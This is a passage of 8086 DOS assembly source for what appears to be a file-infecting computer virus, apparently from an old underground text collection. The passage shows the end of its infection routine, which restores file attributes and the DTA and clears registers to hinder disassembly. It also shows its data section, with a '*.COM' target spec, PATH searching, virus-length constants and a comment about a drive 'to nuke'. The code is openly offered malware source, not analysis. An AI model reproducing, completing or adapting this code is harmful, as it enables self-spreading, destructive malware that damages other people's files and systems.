  3041.         INT     21H
  3042.         MOV     AH,3EH
  3043.         INT     21H
  3044.  
  3045. fix_attr:
  3046.         MOV     AX,OFFSET 4301H
  3047.         MOV     CX,[SI+old_att]
  3048.         MOV     DX,wrk_spc
  3049.         ADD     DX,SI
  3050.         INT     21H
  3051.  
  3052. all_done:
  3053.         PUSH    DS
  3054.         MOV     AH,1AH
  3055.         MOV     DX,[SI+old_dta]
  3056.         MOV     DS,[SI+old_dts]
  3057.         INT     21H
  3058.         POP     DS
  3059.  
  3060. quit:
  3061.         POP     CX
  3062.         XOR     AX,AX            ;XOR values so that we will give the
  3063.         XOR     BX,BX            ;poor sucker a hard time trying to
  3064.         XOR     DX,DX            ;reassemble the source code if he
  3065.         XOR     SI,SI            ;decides to dissassemble us.
  3066.         MOV     DI,OFFSET 0100H
  3067.         PUSH    DI
  3068.         XOR     DI,DI
  3069.         RET     0FFFFH            ;Return back to the beginning
  3070.                     ;of the program
  3071.  
  3072. vir_dat EQU     $
  3073.  
  3074. intro    db    '.D$^i*&B)_a.%R',13,10
  3075. olddta_ DW      0
  3076. olddts_ DW      0
  3077. oldtim_ DW      0
  3078. count_    DW    0
  3079. cntr     DB     2                ; Drive to nuke from (C:+++)
  3080. oldate_ DW      0
  3081. oldatt_ DW      0
  3082. first3_ EQU     $
  3083.         INT     20H
  3084.         NOP
  3085. jmpop_  DB      0E9H
  3086. jmpdsp_ DW      0
  3087. fspec_  DB      '*.COM',0
  3088. pathad_ DW      0
  3089. namptr_ DW      0
  3090. envstr_ DB      'PATH='
  3091. wrkspc_ DB      40h dup (0)
  3092. dta_    DB      16h dup (0)
  3093. dtatim_ DW      0,0
  3094. dtalen_ DW      0,0
  3095. dtanam_ DB      0Dh dup (0)
  3096. lst_byt EQU     $
  3097. virlen  =       lst_byt - v_start
  3098. codelen =       vir_dat - v_start
  3099. c_len_x =       vir_dat - v_start - 2
  3100. c_len_y =       vir_dat - v_start + 100H
  3101. old_dta =       olddta_ - vir_dat
  3102. old_dts =       olddts_ - vir_dat
  3103. old_tim =       oldtim_ - vir_dat
  3104. ol_date =       oldate_ - vir_dat
  3105. old_att =       oldatt_ - vir_dat
  3106. first_3 =       first3_ - vir_dat
  3107. jmp_op  =       jmpop_  - vir_dat
  3108. jmp_dsp =       jmpdsp_ - vir_dat
  3109. f_spec  =       fspec_  - vir_dat
  3110. path_ad =       pathad_ - vir_dat
  3111. nam_ptr =       namptr_ - vir_dat
  3112. env_str =       envstr_ - vir_dat
  3113. wrk_spc =       wrkspc_ - vir_dat
  3114. dta     =       dta_    - vir_dat
  3115. dta_tim =       dtatim_ - vir_dat
  3116. dta_len =       dtalen_ - vir_dat
  3117. dta_nam =       dtanam_ - vir_dat
  3118. count     =    count_  - vir_dat
  3119.  
  3120.         CODE    ENDS
  3121. END     VCODE
  3122.  
  3123. ------------------------------------------------------------------------------
  3124.                                                                         HR
  3125.